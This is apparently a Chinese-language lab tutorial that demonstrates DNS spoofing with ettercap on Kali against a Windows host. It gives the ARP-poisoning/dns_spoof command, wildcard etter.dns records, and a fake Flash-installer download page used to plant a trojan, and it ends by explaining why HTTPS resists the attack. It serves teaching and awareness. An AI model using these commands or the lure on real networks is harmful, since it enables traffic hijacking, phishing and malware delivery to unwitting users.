0x00 免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
0x01 前言
DNS 全称 Domain Name System ,中文名称为域名系统。 DNS 是因特网的一项内核服务,可以将域名和 IP 地址相互映射,它作为一个分布式数据库能够让用户更加方便连接并使用互联网服务。 DNS 采用树形结构的方式来处理各个域名的分布。

0x02 DNS欺骗原理
DNS 欺骗也可以称为域名劫持, DNS 欺骗是攻击方篡改域名解析结果,将指向到此域名的 IP 地址修改为攻击方指定的 IP 地址。这样就可以使攻击方达到网页钓鱼和域名劫持的目的。

因为 DNS 协议存在设计缺陷,在 DNS 报文中只使用一个序列号来进行有效性鉴别,并未提供其它的认证和保护手段,这使得攻击者可以轻松监听到查询请求数据,并伪造 DNS 应答包给 DNS 客户端,从而实现 DNS 欺骗攻击。
0x03 DNS攻击类型
DNS欺骗:当然,本文就是采用这种方式。攻击方欺骗用户访问到建立好的虚假网站或钓鱼网站达到攻击目的。
DNS重绑:DNS 重绑利用浏览器缓存欺骗用户浏览器键入域名时同时链接恶意站点。
DNS隧道:DNS 隧道主要是一种方法,通过 DNS 隧道可以绕过防火墙或网站过滤器,并建立数据传输通道。
DNS拼写仿冒:DNS拼写仿冒是社工技术的一种方法,攻击方注册一个和网站相似的域名来混淆用户。常见在登录密码以及识别验证方面。
0x04 环境说明
kali虚拟机(192.168.1.3) |
windows 10笔记本(192.168.1.10) |
项目地址:https://github.com/NepoloHebo/Art-of-DNS-Deception |
文中使用 kali 系统在虚拟机桥接网络的环境下进行示范。演示过程中使用到的工具在 Github 上可以免费下载。演示过程会对地址为 HTTP 协议开头的网站进行 DNS 欺骗演示,至于为什么不使用 HTTPS 协议开头的网站演示后文会做出详细的叙述。
0x05 信息收集
攻击前需要对网关存活的 IP 进行扫描,使用 Namp 端口扫描神器扫一下网关。
Ⅰ查看kali虚拟机的IP地址
ip addr
Ⅱ查看kali虚拟机的网关地址
route -n
Ⅲ 使用Nmap扫描192.168.1.1/24网段上有哪些主机是存活的
nmap -sP 192.168.1.1/24
0x06 域名劫持
域名劫持,将通过伪造应答包对目标主机实施欺骗。
Ⅰ使用vim编辑器打开etter.dns文件
vim /etc/ettercap/etter.dns
Ⅱ使用vim编辑器编辑etter.dns文件,保存并退出
* A 192.168.1.3
* PTR 192.168.1.3
解释说明:
* 符号表示通配符,意思是执行 DNS 欺骗后目标主机访问的所有 URL 全部通过 A 记录解析域名到 IP 地址,通过 PTR 记录解析 IP 地址到域名。
Ⅲ启动apache2服务
Apache 是世界使用排名第一的 Web 服务器软件。 kali 系统中可以通过命令启动 apache2 服务,在文中使用 apache2 服务主要用来演示域名劫持和网页挂马。
service apache2 start
Ⅳ查看apache2启动状态
service apache2 status
Ⅴ浏览器访问apache2
192.168.1.3 #kali虚拟机IP地址
Ⅵ 使用ettercap命令实现域名劫持
ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//
Ⅶ通过目标主机访问网站进行验证
这里访问了两个基于 HTTP 协议的网址和一个使用 HTTPS 协议的百度。可以发现使用 HTTP 协议的网址均受到 DNS 欺骗,访问时地址被重定向到 kali 主机开启的 apache2 服务中。而 DNS 欺骗对百度不生效。
![]() | ![]() |
![]() | ![]() |
![]() | ![]() |
0x07 网页挂马
文章主要描述 DNS 欺骗其带来的危害性。对于如何使用 CS 免杀制作 Flash 木马捆绑这里不再详细介绍。
Ⅰ将Github下载的项目移动到kali虚拟机中
Ⅱ将Flash-HTML中的js文件和html复制到apache2服务的html文件夹下,Flash插件也一并拽入
/var/www/html #apache2服务的html目录
Ⅲ修改js文件,设置下载链接,保存并退出
<div id='button' onclick=window.location.href='./flashplayerax_install_cn_web.exe'></div>
解释说明:
./flashpl..._cn_web.exe #对应目录为 /var/www/html/flash.js
flash/flashpl..._cn_web.exe #对应目录为 /var/www/html/flash/flash.js
Ⅳ再次使用ettercap命令实现域名劫持
ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//
Ⅴ通过目标主机访问网站进行验证
浏览器会对 http 协议的网站做出提示,如图(2)下载的文件被报告为不安全。当目标主机点击运行 Flash 钓鱼插件后,攻击主机查看监听发现目标主机已经上线。
![]() | ![]() |
![]() | ![]() |
0x08 为什么无法欺骗HTTPS
通过上述实验已经对 DNS 欺骗有了一定的认识,但是实验过程为什么无法对 HTTPS 协议的网站实施欺骗?因为 HTTPS 协议是基于 HTTP 协议明文通道的基础上增加了 SSL 加密通道。SSL 协议是用于解决传输层安全问题的网络协议。
通过加密保护确保传输数据的机密性,同时也保障了服务器身份的真实性。 SSL 协议对服务器身份的验证,这时使用 DNS 劫持会导致错误请求被驳回这一非法请求。当然,对使用 HTTPS 协议的网站实施 DNS 欺骗也并非无法实现,只不过这一攻击手段颇有挑战。
0x09 参考文献
[1].MBA智库·百科. DNS[EB/OL]. 2014-4-20[2022-09-26]. https://wiki.mbalib.com/wiki/DNS#DNS.E7.9A.84.E5.8A.AB.E6.8C.81.
[2].黑帽子科技. DNS劫持的工作原理及应对方法[EB/OL]. 2021-02-02[2022-09-26]. https://zhuanlan.zhihu.com/p/348711884#:~:text=DNS%EF%BC%88%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F,%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E7%9A%84%E7%9B%AE%E7%9A%84%E3%80%82.
[3].闫伯儒; 方滨兴; 李斌; 王垚. DNS欺骗攻击的检测和防范[C]. //信息科技, 哈尔滨: 哈尔滨工业大学国家计算机信息内容安全重点实验室, 2006-11-05.
[4].我是大王123. DNS安全威胁及未来发展趋势的研究[EB/OL]. [2022-09-26]. https://www.freebuf.com/articles/network/169175.html.
[5].九三. 为什么https可以防止dns劫持[EB/OL]. [2022-09-26]. https://www.yisu.com/ask/872.html.
[6].网络豆. DNS服务器[EB/OL]. [2022-09-26]. https://blog.csdn.net/yj11290301/article/details/127020879?spm=1001.2014.3001.5502.
0x10 总结
由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。